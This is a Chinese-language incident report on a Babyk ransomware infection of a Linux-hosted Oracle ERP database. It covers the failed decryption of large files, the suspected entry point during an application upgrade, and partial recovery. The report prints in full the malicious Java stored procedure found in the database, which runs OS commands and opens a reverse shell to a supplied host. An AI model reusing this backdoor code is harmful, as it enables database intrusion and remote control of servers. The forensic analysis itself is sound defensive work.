有一个客户使用了xx厂商的erp软件的Oracle数据库服务被勒索加密(运行在linux平台),而且找人缴了赎金但是由于加密程序bug,导致部分大文件解密失败
文件加密结果
文件名称被加上.babyk,每个目录下面会留下一个README_babyk.txt文件
然后客户找人进行勒索解密,结果对于大于16G左右的文件解密失败.解密失败原因是由于较大文件加密算法问题,导致他们拿到了解密程序也无法解密,具体对于加密文件对比说明:
小文件加密情况
可以发现在加密文件尾部有一些字符串,估计是记录的某种加密信息通过对比可以确认文件和占用空间一致,而且尾部没有多出来38byte的字符串的文件是属于解密失败(因为本身加密就不正常)
被勒索加密源头分析
通过解密成功的system01.dbf(所幸小于16g)文件打开库,然后检查数据库中对象,发现一个异常的函数shellrun
create or replace function shellrun(methodName varchar2, params varchar2, encoding varchar2) return varchar2 aslanguage java name 'ShellUtil.run(java.lang.String,java.lang.String,java.lang.String) return java.lang.String';
进一步分析ShellUtil中内容
create or replace and compile java source named "ShellUtil" asimport java.io.*;import java.net.Socket;import java.util.concurrent.RecursiveTask;public class ShellUtil extends Object{ public static String run(String methodName, String params, String encoding) { String res = ""; if (methodName.equals("exec")) { res = ShellUtil.exec(params, encoding); }else if (methodName.equals("connectback")) { String ip = params.substring(0, params.indexOf("^")); String port = params.substring(params.indexOf("^") + 1); res = ShellUtil.connectBack(ip, Integer.parseInt(port)); }else { res = "unkown methodName"; } return res; } public static String exec(String command, String encoding) { StringBuffer result = new StringBuffer(); try { String[] finalCommand; if (System.getProperty("os.name").toLowerCase().contains("windows")) { String systemRootvariable; try { systemRootvariable = System.getenv("SystemRoot"); } catch (ClassCastException e) { systemRootvariable = System.getProperty("SystemRoot"); } finalCommand = new String[3]; finalCommand[0] = systemRootvariable+"\\system32\\cmd.exe"; finalCommand[1] = "/c"; finalCommand[2] = command; } else { // Linux or Unix System finalCommand = new String[3]; finalCommand[0] = "/bin/sh"; finalCommand[1] = "-c"; finalCommand[2] = command; } BufferedReader readerIn = null; BufferedReader readerError = null; try { readerIn = new BufferedReader(new InputStreamReader (Runtime.getRuntime().exec(finalCommand).getInputStream(),encoding)); String stemp = ""; while ((stemp = readerIn.readLine()) != null){ result.append(stemp).append("\n"); } }catch (Exception e){ result.append(e.toString()); }finally { if (readerIn != null) { readerIn.close(); } } try { readerError = new BufferedReader(new InputStreamReader (Runtime.getRuntime().exec(finalCommand).getErrorStream(), encoding)); String stemp = ""; while ((stemp = readerError.readLine()) != null){ result.append(stemp).append("\n"); } }catch (Exception e){ result.append(e.toString()); }finally { if (readerError != null) { readerError.close(); } } } catch (Exception e) { result.append(e.toString()); } return result.toString(); } public static String connectBack(String ip, int port) { class StreamConnector extends Thread { InputStream sp; OutputStream gh; StreamConnector(InputStream sp, OutputStream gh) { this.sp = sp; this.gh = gh; } @Override public void run() { BufferedReader xp = null; BufferedWriter ydg = null; try { xp = new BufferedReader(new InputStreamReader(this.sp)); ydg = new BufferedWriter(new OutputStreamWriter(this.gh)); char buffer[] = new char[1024]; int length; while ((length = xp.read(buffer, 0, buffer.length)) > 0) { ydg.write(buffer, 0, length); ydg.flush(); } } catch (Exception e) {} try { if (xp != null) { xp.close(); } if (ydg != null) { ydg.close(); } } catch (Exception e) { } } } try { String sp; if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) { sp = new String("/bin/sh"); } else { sp = new String("cmd.exe"); } Socket sk = new Socket(ip, port); Process ps = Runtime.getRuntime().exec(sp); (new StreamConnector(ps.getInputStream(), sk.getOutputStream())).start(); (new StreamConnector(sk.getInputStream(), ps.getOutputStream())).start(); } catch (Exception e) { } return "^OK^"; }}
这些程序的创建时间分析
这些程序都是4月24日14:58:40-14:58:50之间创建,通过咨询客户,客户的应用在4月24日上午进行了升级.基于上述情况,初步怀疑是通过应用给数据库层面注入了恶意脚本,创建了函数和一些java包,实现提权获取了操作系统权限,然后对操作系统文件进行加密.最终结论需要等应用和安全厂商进行确认
最终恢复处理
部分比较大的文件解密失败,数据库肯定无法正常open,通过分析无法解密的文件大概有10%左右block无法处理,最终通过扫描block提取数据实现最大程度帮客户抢救数据。
再次提醒:防勒索病毒不是只是windows系统的事情,也需要关注linux等其他系统的安全防护,尽可能做到离线备份